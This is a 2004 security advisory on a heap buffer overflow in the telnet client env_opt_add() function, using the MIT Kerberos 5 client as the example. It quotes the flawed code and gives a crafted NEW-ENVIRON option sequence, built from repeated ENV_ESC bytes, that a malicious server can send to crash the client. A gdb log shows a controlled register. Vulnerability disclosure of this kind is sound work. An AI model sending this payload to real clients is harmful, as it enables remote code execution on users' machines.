---------------------------------------------------------------- Security Report : telnet client env_opt_add() buffer overflow. by Gael Delalleau (dec. 2004) ---------------------------------------------------------------- Overview -------- A malicious server can send specific telnet options to overflow a dynamic buffer in a telnet client process connected to the server. Arbitrary code execution on the client system may be achieved which the privileges of the user running telnet. The vulnerability lies in a code used by various telnet clients, which are vulnerable to this attack. Technical Details ----------------- The vulnerability lies in telnet.c, in the env_opt_add() function. If the variable ep is too large, the opt_reply buffer is reallocated with a size of 256 more bytes. But this size is not related to the real length of the ep string, which will be copied later into this buffer: if (opt_replyp + (vp ? strlen((char *)vp) : 0) + strlen((char *)ep) + 6 > opt_replyend) { (...) opt_replyend += OPT_REPLY_SIZE; len = opt_replyend - opt_reply; opt_reply = (unsigned char *)realloc(opt_reply, len); (...) } Thus there is a possible buffer overflow when ep is copied into opt_reply, without any length check: for (;;) { while ((c = *ep++)) { switch(c&0xff) { case IAC: *opt_replyp++ = IAC; break; case NEW_ENV_VAR: case NEW_ENV_VALUE: case ENV_ESC: case ENV_USERVAR: *opt_replyp++ = ENV_ESC; break; } *opt_replyp++ = c; } However, the length of ep is less than 256 bytes, since it is stored in the static buffer subbuffer[SUBBUFSIZE] where SUBBUFSIZE = 256. This problem can be solved with the following technique: to trigger an exploitable overflow, an attacker can put the 0x02 byte many times in the ep string. This byte is the value of ENV_ESC, which is written twice in the copy loop, so the total length of the resulting string can be at most 512 bytes instead of 256. Exploitation ------------ We can overflow the heap buffer with arbitrary data using these telnet requests (which are sent in a single packet in less than 256 bytes): SB NEW-ENVIRON SEND ENV_USERVAR "HOME" + "\x00" (1) ENV_USERVAR "HOME" + "\x00" (2) ENV_USERVAR "\x02"*150 + "A"*50 + "\x00" (3) SE * (1) and (2) will try to fill the opt_reply buffer, but not enough to make it reallocate with a new 256 bytes chunk. * (3) will trigger a reallocation: sizeof(opt_reply) is now 512 bytes. * Later the [150 * 2 + 50 = 350] bytes string will be copied into this 512-bytes buffer, AFTER the strings copied in (1) and (2). The size of these strings can be at most around 250 bytes, which means we can copy a total size of about 350 + 250 = 600 bytes into the 512 bytes buffer. Then the usual heap overflow exploitation techniques may be used to achieve arbitrary code execution. This vulnerability does not depend on the port number to which the telnet client is connected. Spoofing and Man in the Middle attacks can be used on the network to redirect telnet connections to a malicious server. Vulnerable systems ------------------ Telnet client version: MIT Kerberos 5 Vulnerable: YES [gael@localhost telnet]$ ./telnet_krb5 127.0.0.1 Trying 127.0.0.1... Connected to localhost (127.0.0.1). Escape character is '^]'. Segmentation fault (core dumped) [gael@localhost telnet]$ gdb ./telnet_krb5 core.16365 GNU gdb 5.3-25mdk (Mandrake Linux) Core was generated by `./telnet_krb5 127.0.0.1'. Program terminated with signal 11, Segmentation fault. (...) #0 0x400eb4f5 in mallopt () from /lib/i686/libc.so.6 (gdb) i r eax 0x41414140 1094795584 <-- controlled ecx 0x80efac0 135199424 edx 0x401a53e0 1075467232 ebx 0x401a49a0 1075464608 esp 0xbfffef00 0xbfffef00 ebp 0xbfffef38 0xbfffef38 esi 0x109 265 edi 0x108 264 eip 0x400eb4f5 0x400eb4f5 eflags 0x10202 66050 (...) (gdb) bt #0 0x400eb4f5 in mallopt () from /lib/i686/libc.so.6 #1 0x400e9fd2 in realloc () from /lib/i686/libc.so.6 #2 0x400ecaa1 in posix_memalign () from /lib/i686/libc.so.6 #3 0x400e9efc in realloc () from /lib/i686/libc.so.6 #4 0x08051f96 in env_opt_add (ep=0x401a49a0 "´È\022") at telnet.c:1671 #5 0x08051f19 in env_opt_add (ep=0x80eeb98 "DISPLAY") at telnet.c:1661 #6 0x08051d6a in env_opt (buf=0x80d0a18 "", len=215) at telnet.c:1595 #7 0x08050979 in suboption () at telnet.c:975 #8 0x08052689 in telrcv () at telnet.c:2018 #9 0x08052e25 in Scheduler (block=1) at telnet.c:2271 #10 0x08052f1e in telnet (user=0x1
) at telnet.c:2400 #11 0x0804d8a5 in tn (argc=0, argv=0x80cf8c0) at commands.c:2679 #12 0x0804e62e in main (argc=1, argv=0x0) at main.c:336 #13 0x4008dc57 in __libc_start_main () from /lib/i686/libc.so.6 (gdb) x/i $eip 0x400eb4f5 : testb $0x1,0x4(%eax,%ecx,1) Other telnet clients: NOT TESTED. Seems fixed in Debian Woody (from a quick look at the code). Note ---- The code snipsets in this advisory are taken from the MIT Kerberos telnet client. - End of Security Report - Gael Delalleau